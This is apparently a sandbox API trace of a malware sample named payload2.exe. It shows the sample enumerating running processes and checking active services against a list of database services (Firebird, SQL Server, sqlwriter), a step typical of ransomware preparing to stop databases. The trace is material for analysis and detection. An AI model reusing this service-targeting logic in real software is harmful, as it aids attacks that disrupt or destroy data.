	[0169.936] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0169.937] lstrlenW (lpString="wininit.exe") returned 11
	[0169.937] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.937] lstrlenW (lpString="csrss.exe") returned 9
	[0169.937] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0169.938] lstrlenW (lpString="winlogon.exe") returned 12
	[0169.938] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0169.938] lstrlenW (lpString="services.exe") returned 12
	[0169.938] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0169.938] lstrlenW (lpString="lsass.exe") returned 9
	[0169.939] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.939] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.939] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.939] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.939] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.940] lstrlenW (lpString="svchost.exe") returned 11
	[0169.940] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.940] lstrlenW (lpString="svchost.exe") returned 11
	[0169.940] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0169.941] lstrlenW (lpString="dwm.exe") returned 7
	[0169.941] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.941] lstrlenW (lpString="svchost.exe") returned 11
	[0169.941] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.942] lstrlenW (lpString="svchost.exe") returned 11
	[0169.942] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.942] lstrlenW (lpString="svchost.exe") returned 11
	[0169.942] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.942] lstrlenW (lpString="svchost.exe") returned 11
	[0169.942] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.943] lstrlenW (lpString="svchost.exe") returned 11
	[0169.943] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.943] lstrlenW (lpString="svchost.exe") returned 11
	[0169.943] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.944] lstrlenW (lpString="svchost.exe") returned 11
	[0169.944] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.944] lstrlenW (lpString="svchost.exe") returned 11
	[0169.944] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.945] lstrlenW (lpString="svchost.exe") returned 11
	[0169.945] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.945] lstrlenW (lpString="svchost.exe") returned 11
	[0169.945] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0169.945] lstrlenW (lpString="spoolsv.exe") returned 11
	[0169.946] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.946] lstrlenW (lpString="svchost.exe") returned 11
	[0169.946] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0169.946] lstrlenW (lpString="audiodg.exe") returned 11
	[0169.946] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0169.947] lstrlenW (lpString="sihost.exe") returned 10
	[0169.947] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.947] lstrlenW (lpString="svchost.exe") returned 11
	[0169.947] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.948] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.948] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0169.948] lstrlenW (lpString="msoia.exe") returned 9
	[0169.948] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0169.949] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0169.949] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0169.949] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0169.949] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0169.950] lstrlenW (lpString="Memory Compression") returned 18
	[0169.950] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0169.950] lstrlenW (lpString="explorer.exe") returned 12
	[0169.950] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0169.951] lstrlenW (lpString="SearchUI.exe") returned 12
	[0169.951] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0169.951] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0169.951] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0169.951] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0169.951] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0169.952] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0169.952] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0169.952] lstrlenW (lpString="payload2.exe") returned 12
	[0169.952] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0169.953] lstrlenW (lpString="cmd.exe") returned 7
	[0169.953] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0169.953] lstrlenW (lpString="conhost.exe") returned 11
	[0169.953] Process32NextW (in: hSnapshot=0x50c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0169.954] CloseHandle (hObject=0x50c) returned 1
	[0169.954] Sleep (dwMilliseconds=0x1f4) 
	[0170.649] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667f48
	[0170.650] EnumServicesStatusExW (in: hSCManager=0x667f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0170.650] GetLastError () returned 0xea
	[0170.650] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x454fff8
	[0170.650] EnumServicesStatusExW (in: hSCManager=0x667f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454fff8, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454fff8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0170.651] CloseServiceHandle (hSCObject=0x667f48) returned 1
	[0170.651] lstrlenW (lpString="AppXSvc") returned 7
	[0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0170.651] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0170.651] lstrlenW (lpString="Audiosrv") returned 8
	[0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0170.652] lstrlenW (lpString="BFE") returned 3
	[0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0170.652] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0170.652] lstrlenW (lpString="CDPSvc") returned 6
	[0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0170.652] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0170.652] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0170.653] lstrlenW (lpString="CryptSvc") returned 8
	[0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0170.653] lstrlenW (lpString="DcomLaunch") returned 10
	[0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0170.653] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0170.653] lstrlenW (lpString="Dhcp") returned 4
	[0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0170.653] lstrlenW (lpString="Dnscache") returned 8
	[0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0170.654] lstrlenW (lpString="DPS") returned 3
	[0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0170.654] lstrlenW (lpString="DsmSvc") returned 6
	[0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0170.654] lstrlenW (lpString="DusmSvc") returned 7
	[0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0170.654] lstrlenW (lpString="EventLog") returned 8
	[0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0170.654] lstrlenW (lpString="EventSystem") returned 11
	[0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0170.655] lstrlenW (lpString="FontCache") returned 9
	[0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0170.655] lstrlenW (lpString="gpsvc") returned 5
	[0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0170.655] lstrlenW (lpString="iphlpsvc") returned 8
	[0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0170.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0170.655] lstrlenW (lpString="KeyIso") returned 6
	[0170.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0170.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0170.655] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0170.655] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
